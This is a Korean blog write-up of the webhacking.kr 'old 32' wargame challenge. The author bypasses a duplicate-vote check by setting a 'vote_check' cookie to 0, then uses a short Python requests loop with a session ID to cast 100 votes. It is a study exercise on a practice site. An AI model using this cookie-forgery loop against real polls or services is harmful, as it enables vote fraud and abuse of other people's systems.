본문 바로가기

웹해킹/webhacking.kr

webhacking.kr old 32번 문제풀이(Writeup)

반응형

webhacking.kr old 32번 문제풀이(Writeup)

old 32번 문제풀이 1

문제를 들어가면 위와 같이 출력된다. 저 중 아무 이름이나 클릭하면 투표가 되고 값이 1 오른다.

 

 

 

old 32번 문제풀이 2

이후 다시 이름을 누르면 이미 투표했다는 알림 창이 출력된다. 코드도 보고, 쿠키도 한번 확인해보자.

 

 

 

vold 32번 문제풀이 3

vote_check라는 쿠키가 있다. 이걸로 투표를 확인하고 있을 것이라는 생각이 든다. 그래서 쿠키 값을 0으로 변조하고 

이번엔 내 아이디에 투표를 했다.

 

 

 

 

 

vold 32번 문제풀이 4

1이 증가했다. 쿠키 값을 변조해서 투표를 100번 하면 해결될 것으로 예상된다. 그럼 이제부터 이 귀찮은 일을 어떻게 해결할지 고민했다. 공부 중인 학생이기에 스크립트를 작성하는 게 옳다고 생각했다.

 

 

 

 

 

import requests


for i in range(0,100,1):
    url = 'https://webhacking.kr/challenge/code-5/?hit=eunhokim98'
    cookie = {'PHPSESSID':'j9trs32mhfsk69ncd5me8q27fo','vote_check' : '0'}
    requests.get(url, cookies=cookie)
    print(i)

python requests를 이용해서 cookie를 직접 입력해주는 방법을 찾았고, 위와 같은 코드를 작성하였다. cookie는 현재 아이디가 나라는 것을 인증하기 위한 PHPSESSID와 투표를 확인하는 vote_check를 넣었다.

 

 

 

 

vold 32번 문제풀이 5

투표가 진행되고 있는지 확인하기 위해 마지막 줄에 print(i)를 넣었다. 정상적으로 작동하는 모습이 보인다.

 

 

 

vold 32번 문제풀이

이를 통해 old 32번 문제를 해결하였다.

 

 


처음 해킹을 시작할 땐 스크립트를 작성하는게 가장 어려웠다. 지금은 계속하다 보니 requests 모듈을 이용하는 것에

두려움이 없어진 느낌이다. 오늘도 발전하고 있다.

 

 

참고사이트

https://marisara.tistory.com/entry/%ED%8C%8C%EC%9D%B4%EC%8D%AC-rquests-3-header%EC%99%80-cookie

728x90